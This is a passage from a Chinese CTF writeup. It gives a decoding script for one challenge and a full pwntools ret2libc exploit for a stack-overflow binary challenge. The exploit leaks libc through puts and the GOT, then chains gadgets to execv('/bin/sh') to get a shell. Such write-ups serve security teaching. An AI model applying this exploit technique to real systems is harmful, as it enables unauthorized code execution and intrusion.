class="cm-number">42</span>, <span class="cm-number">29</span>, <span class="cm-number">18</span>, <span class="cm-number">62</span>, <span class="cm-number">39</span>, <span class="cm-number">68</span>, <span class="cm-number">88</span>, <span class="cm-number">60</span>, <span class="cm-number">83</span>, <span class="cm-number">47</span>, <span class="cm-number">58</span>, <span class="cm-number">44</span>, <span class="cm-number">63</span>, <span class="cm-number">6</span>, <span class="cm-number">20</span>, <span class="cm-number">94</span>, <span class="cm-number">90</span>, <span class="cm-number">70</span>, <span class="cm-number">23</span>, <span class="cm-number">93</span>, <span class="cm-number">43</span>, <span class="cm-number">82</span>, <span class="cm-number">1</span>, <span class="cm-number">37</span>, <span class="cm-number">41</span>, <span class="cm-number">32</span>, <span class="cm-number">80</span>, <span class="cm-number">33</span>, <span class="cm-number">85</span>, <span class="cm-number">73</span>, <span class="cm-number">86</span>, <span class="cm-number">76</span>, <span class="cm-number">35</span>, <span class="cm-number">66</span>, <span class="cm-number">12</span>, <span class="cm-number">16</span>, <span class="cm-number">78</span>, <span class="cm-number">24</span>, <span class="cm-number">7</span>, <span class="cm-number">52</span>,<span class="cm-number">17</span>, <span class="cm-number">10</span>, <span class="cm-number">25</span>, <span class="cm-number">84</span>, <span class="cm-number">74</span>, <span class="cm-number">81</span>, <span class="cm-number">59</span>, <span class="cm-number">75</span>, <span class="cm-number">2</span>, <span class="cm-number">48</span>, <span class="cm-number">27</span>, <span class="cm-number">49</span>, <span class="cm-number">26</span>, <span class="cm-number">21</span>, <span class="cm-number">57</span>, <span class="cm-number">56</span>, <span class="cm-number">92</span>, <span class="cm-number">69</span>, <span class="cm-number">8</span>, <span class="cm-number">13</span>, <span class="cm-number">89</span>, <span class="cm-number">15</span>, <span class="cm-number">50</span>, <span class="cm-number">28</span>, <span class="cm-number">30</span>, <span class="cm-number">46</span>, <span class="cm-number">64</span>, <span class="cm-number">79</span>, <span class="cm-number">51</span>, <span class="cm-number">77</span>, <span class="cm-number">34</span>, <span class="cm-number">72</span>, <span class="cm-number">36</span>, <span class="cm-number">71</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">swap_table</span> = [</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-number">11</span>, <span class="cm-number">26</span>, <span class="cm-number">23</span>, <span class="cm-number">36</span>, <span class="cm-number">1</span>, <span class="cm-number">31</span>, <span class="cm-number">22</span>, <span class="cm-number">10</span>, <span class="cm-number">27</span>, <span class="cm-number">4</span>, <span class="cm-number">18</span>, <span class="cm-number">30</span>, <span class="cm-number">13</span>, <span class="cm-number">19</span>, <span class="cm-number">34</span>, <span class="cm-number">24</span>, <span class="cm-number">32</span>, <span class="cm-number">21</span>, <span class="cm-number">0</span>, <span class="cm-number">39</span>, <span class="cm-number">2</span>, <span class="cm-number">5</span>, <span class="cm-number">35</span>, <span class="cm-number">14</span>, <span class="cm-number">37</span>, <span class="cm-number">40</span>, <span class="cm-number">38</span>, <span class="cm-number">17</span>, <span class="cm-number">6</span>, <span class="cm-number">28</span>, <span class="cm-number">25</span>, <span class="cm-number">33</span>, <span class="cm-number">8</span>, <span class="cm-number">12</span>, <span class="cm-number">7</span>, <span class="cm-number">16</span>, <span class="cm-number">9</span>, <span class="cm-number">29</span>, <span class="cm-number">15</span>, <span class="cm-number">20</span>, <span class="cm-number">3</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">assert</span> <span class="cm-builtin">len</span>(<span class="cm-variable">trans_table</span>)==<span class="cm-number">96</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">assert</span> <span class="cm-builtin">len</span>(<span class="cm-variable">swap_table</span>)==<span class="cm-number">41</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">rev_trans_table</span> = [<span class="cm-keyword">None</span>]<span class="cm-operator">*</span><span class="cm-number">96</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">for</span> <span class="cm-variable">i</span>,<span class="cm-variable">x</span> <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">trans_table</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">rev_trans_table</span>[<span class="cm-variable">x</span>] = <span class="cm-variable">i</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">do_trans</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">''</span>.<span class="cm-property">join</span>([<span class="cm-builtin">chr</span>(<span class="cm-number">32</span><span class="cm-operator">+</span>(<span class="cm-variable">trans_table</span>[<span class="cm-builtin">ord</span>(<span class="cm-variable">c</span>)<span class="cm-operator">-</span><span class="cm-number">32</span>]<span class="cm-operator">+</span><span class="cm-variable">i</span>)<span class="cm-operator">%</span><span class="cm-number">96</span>) <span class="cm-keyword">for</span> (<span class="cm-variable">i</span>,<span class="cm-variable">c</span>) <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">s</span>)])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">rev_trans</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">''</span>.<span class="cm-property">join</span>([<span class="cm-builtin">chr</span>(<span class="cm-variable">rev_trans_table</span>[(<span class="cm-number">96</span><span class="cm-operator">-</span><span class="cm-variable">i</span><span class="cm-operator">+</span><span class="cm-builtin">ord</span>(<span class="cm-variable">c</span>)<span class="cm-operator">-</span><span class="cm-number">32</span>)<span class="cm-operator">%</span><span class="cm-number">96</span>]<span class="cm-operator">+</span><span class="cm-number">32</span>) <span class="cm-keyword">for</span> (<span class="cm-variable">i</span>,<span class="cm-variable">c</span>) <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">s</span>)])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">do_swap</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span> = [<span class="cm-keyword">None</span>]<span class="cm-operator">*</span><span class="cm-builtin">len</span>(<span class="cm-variable">s</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">i</span>,<span class="cm-variable">c</span> <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>[<span class="cm-variable">swap_table</span>[<span class="cm-variable">i</span>]]=<span class="cm-variable">c</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">''</span>.<span class="cm-property">join</span>(<span class="cm-variable">out</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">rev_swap</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span> = [<span class="cm-keyword">None</span>]<span class="cm-operator">*</span><span class="cm-builtin">len</span>(<span class="cm-variable">s</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">i</span>,<span class="cm-variable">c</span> <span class="cm-keyword">in</span> <span class="cm-builtin">enumerate</span>(<span class="cm-variable">s</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>[<span class="cm-variable">i</span>]=<span class="cm-variable">s</span>[<span class="cm-variable">swap_table</span>[<span class="cm-variable">i</span>]]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-string">''</span>.<span class="cm-property">join</span>(<span class="cm-variable">out</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">key</span> = <span class="cm-string">".q~03QKLNSp\"s6AQtEW<=MNv9(ZMYntg2N9hSe5=k"</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-variable">rev_trans</span>(<span class="cm-variable">rev_swap</span>(<span class="cm-variable">key</span>)))</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 874px;"></div><div class="CodeMirror-gutters" style="display: none; height: 874px;"></div></div></div></pre><p><span>即可得到 Flag。</span></p><p> </p><h2><a name="庄子的回文binary）" class="md-header-anchor"></a><span>庄子的回文（Binary）</span></h2><p><span>基本的的 ROP，栈溢出的位置很明显，在 run 函数里：</span></p><p><img src="assets/image-20210520170258329.png" referrerpolicy="no-referrer" alt="image-20210520170258329"></p><p><span>老规矩，检查一下保护，发现开了 NX：</span></p><p><img src="assets/image-20210520170426443.png" referrerpolicy="no-referrer" alt="image-20210520170426443"></p><p><span>用 ROPgadget 看了看，.text 段没什么好利用的，考虑 ret2libc。</span></p><p><span>PLT 表里面有 puts，所以首先打印出来 GOT 表里的随便什么东西即可泄露出 libc 的地址：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">from</span> <span class="cm-variable">pwn</span> <span class="cm-keyword">import</span> <span class="cm-operator">*</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">elf</span> = <span class="cm-variable">ELF</span>(<span class="cm-string">'./rop'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">libc</span> = <span class="cm-variable">ELF</span>(<span class="cm-string">'./libc-2.31.so'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">STACK_OFFSET</span> = <span class="cm-number">0X88</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">PROBE_FUNC</span> = <span class="cm-string">'printf'</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">out</span> = (</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">b'a'</span><span class="cm-operator">*</span><span class="cm-variable">STACK_OFFSET</span> <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-number">0x4013c3</span>) <span class="cm-operator">+</span> <span class="cm-comment"># pop rdi; ret</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">elf</span>.<span class="cm-property">got</span>[<span class="cm-variable">PROBE_FUNC</span>]) <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">elf</span>.<span class="cm-property">symbols</span>[<span class="cm-string">'puts'</span>]) <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">elf</span>.<span class="cm-property">symbols</span>[<span class="cm-string">'run'</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">p</span> = <span class="cm-variable">process</span>(<span class="cm-string">'./rop'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">p</span>.<span class="cm-property">sendline</span>(<span class="cm-string">'2'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">p</span>.<span class="cm-property">sendline</span>(<span class="cm-variable">out</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-builtin">repr</span>(<span class="cm-variable">p</span>.<span class="cm-property">recvline</span>())) <span class="cm-comment"># This is a solution ...</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-builtin">repr</span>(<span class="cm-variable">p</span>.<span class="cm-property">recvline</span>())) <span class="cm-comment"># PWN it!\n</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-builtin">repr</span>(<span class="cm-variable">p</span>.<span class="cm-property">recvline</span>())) <span class="cm-comment"># aaaaa...</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">addrline</span> = <span class="cm-variable">p</span>.<span class="cm-property">recvline</span>() <span class="cm-comment"># {addr}\n</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-builtin">repr</span>(<span class="cm-variable">addrline</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">assert</span> <span class="cm-builtin">len</span>(<span class="cm-variable">addrline</span>)==<span class="cm-number">7</span> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">libc_addr</span> = <span class="cm-variable">u64</span>(<span class="cm-variable">addrline</span>[:<span class="cm-number">6</span>] <span class="cm-operator">+</span> <span class="cm-string">b'\x00\x00'</span>) <span class="cm-operator">-</span> <span class="cm-variable">libc</span>.<span class="cm-property">symbols</span>[<span class="cm-variable">PROBE_FUNC</span>]</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 627px;"></div><div class="CodeMirror-gutters" style="display: none; height: 627px;"></div></div></div></pre><p><span>然后在 libc 里面找到 execv 和 /bin/sh 字符串，就可以弹 shell 了。</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">binsh_addr</span> = <span class="cm-builtin">next</span>(<span class="cm-variable">libc</span>.<span class="cm-property">search</span>(<span class="cm-string">b'/bin/sh\x00'</span>))</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">out</span> = (</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">b'a'</span><span class="cm-operator">*</span><span class="cm-variable">STACK_OFFSET</span> <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-number">0x4013c3</span>) <span class="cm-operator">+</span> <span class="cm-comment"># pop rdi; ret</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">libc_addr</span> <span class="cm-operator">+</span> <span class="cm-variable">binsh_addr</span>) <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-number">0x4013c1</span>) <span class="cm-operator">+</span> <span class="cm-comment"># pop rsi; pop r15; ret</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-number">0</span>) <span class="cm-operator">+</span> <span class="cm-variable">p64</span>(<span class="cm-number">0</span>) <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">libc_addr</span> <span class="cm-operator">+</span> <span class="cm-variable">libc</span>.<span class="cm-property">symbols</span>[<span class="cm-string">'execv'</span>]) <span class="cm-operator">+</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">p64</span>(<span class="cm-variable">elf</span>.<span class="cm-property">symbols</span>[<span class="cm-string">'run'</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">p</span>.<span class="cm-property">sendline</span>(<span class="cm-variable">out</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">p</span>.<span class="cm-property">interactive</span>()</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 314px;"></div><div class="CodeMirror-gutters" style="display: none; height: 314px;"></div></div></div></pre><p><span>在 shell 里输入 </span><code>cat flag</code><span>，啪地一下即可得到 Flag。</span></p><p><span>好久没做 Pwn 了，遇到了不少问题，比如 exp 里面有空白字符就输入不进去（因为它用的 </span><code>%s</code><span>）需要换 gadget，用 system（而不是 execv）会崩因为栈没有对齐。</span></p><p><span>有些选手也在问卷里吐槽题目环境和本地环境不一样，所以在远程死活打不通，说这题出得不好。我倒觉得这个吐槽没什么道理：在面对真实系统的时候，黑客难道还能让对面的管理员重装成指定的系统版本方便你 Pwn 吗？当然是黑客适应环境，而不是环境适应黑客。</span></p><p><span>把 Pwn 题调通确实是有一定难度的，但这正是 Pwn 的特点。</span></p><p> </p><p><strong><span>以上是本人的 Writeup。师傅们下届再见！</span></strong></p></div>
</body>
</html>